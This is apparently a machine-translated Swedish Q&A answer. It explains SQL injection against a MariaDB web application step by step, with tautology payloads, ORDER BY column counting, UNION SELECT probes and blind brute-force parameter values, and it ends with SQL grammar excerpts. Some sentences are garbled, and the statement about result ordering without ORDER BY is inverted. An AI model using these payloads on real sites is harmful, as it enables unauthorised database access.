sql >> Databasteknik >  >> RDS >> Mysql

MariaDb SQL Injection

Ok då ska vi ha lite kul.

När jag tittar på felmeddelandet

Jag antar att frågan och koden i applikationen är mer eller mindre så här pseudomässigt, @o är i själva verket en MySQL användarvariabel..

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10 

Jag kommer att använda en SQL-fiol mellanslag att simulera ett SQL-injektionstest och mer få möjlig tillgång till andra tabeller.

Du kan testa din injektion med 1' OR 1 = 1# eller 1' OR 1 = 1-- båda bör fungera och bör ge dig samma resultat när du använder 1 som indata. Detta beror på att MariaDB automatic castar typerna för andra databaser som du kan behöva använda den mer strikta versionen 1' OR '1' = '1#

Som borde generera

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 

Eller

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 

Eftersom du ser fel i applikationen kan du använda ORDER BY 1 för att kontrollera hur många kolumner som är markerade och öka antalet tills du får ett felmeddelande.

Fel:ER_BAD_FIELD_ERROR:Okänd kolumn '2' i 'ordersats'

Injicera med

1' ORDER BY 1# eller 1' ORDER BY 1--

Vilket betyder sortera på den första kolumnen i resultatuppsättningen INTE sortera 1 bokstavligt.

Genererar

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 

Eller

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 

När du känner till kolumnerna kan du använda UNION för att komma in på andra tabeller. Använd NULL om du inte behöver alla kolumner.

injektion

1' UNION ALL SELECT NULL FROM DUAL#

Observera att DUAL är en "virtuell" icke-existerande tabell i MariaDB, MySQL och Oracle, om du kan fråga denna "tabell" betyder det att du också tekniskt sett kan komma in i andra tabeller.

genererad SQL

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 

Och om webbsidan är utformad som en "detaljerad" sida där en post alltid är synlig måste du lägga till en LIMIT 1, 1 i din injektion.

Tänk om det inte finns några synliga fel i webbapplikationen så borde du bara blint kunna bruteforce geuss med blinda SQL-injektioner och se hur applikationen fungerar.
Prova även saker som ?o=0 , ?o=NULL eller mycket höga siffror som max INT-värdet (signerad) ?o=2147483647 eller (osignerad) ?o=4294967295 innan du försöker bruteforce det använda kolumnnumret så att du vet hur programmet hanterar poster som inte kan hittas. Eftersom det är mycket osannolikt att ha id 0 eller att höga siffror på en INT datatyp, eftersom applikationen kommer att sluta fungera om det senaste numret gavs. Om du fortfarande får en post med de höga siffrorna använder du maxvärdena för BIGINT datatyp istället.

För kolumn 1 samma resultat-id o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

För kolumner 2 som kommer att fel, men mest troligt kommer du att se en felsida eller ett meddelande om att posten inte hittades.
Eller en söt HTTP 404 (hittades ej) felstatus.
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

Ett problem du kan få när du använder LIMIT utan att använda ORDER BY kan vara en chans att få samma poster eftersom SQL-standarden har definierat att SQL-tabeller/resultatuppsättningar är ordnade utan att använda ORDER BY

Så du behöver helst fortsätta använda ORDER BY 1 i råstyrkorna.

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

Och

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

Databaserna stöder ORDER BY 1 är bättre än jag tänkte vid första tanken eftersom det fungerar i MySQL, MariaDB, SQL Server (MSSQL) och PostgreSQL.

Även ORDER BY 1 var en SQL 92-funktion som togs bort i SQL 99.
Så egentligen borde SQL-databaser inte köra ORDER BY 1 längre om de skulle följa SQL-standarderna på denna punkt.

SQL 92 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is 

 <ordering specification> ::= ASC | DESC

mot SQL 1999 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC


  1. Blackout med EMCLI

  2. Hur får man aktuellt datum och tid i MySQL?

  3. Varför är det snabbare att köra lagrade procedurer än SQL-fråga från ett skript?

  4. Hur man konverterar strängfall i PostgreSQL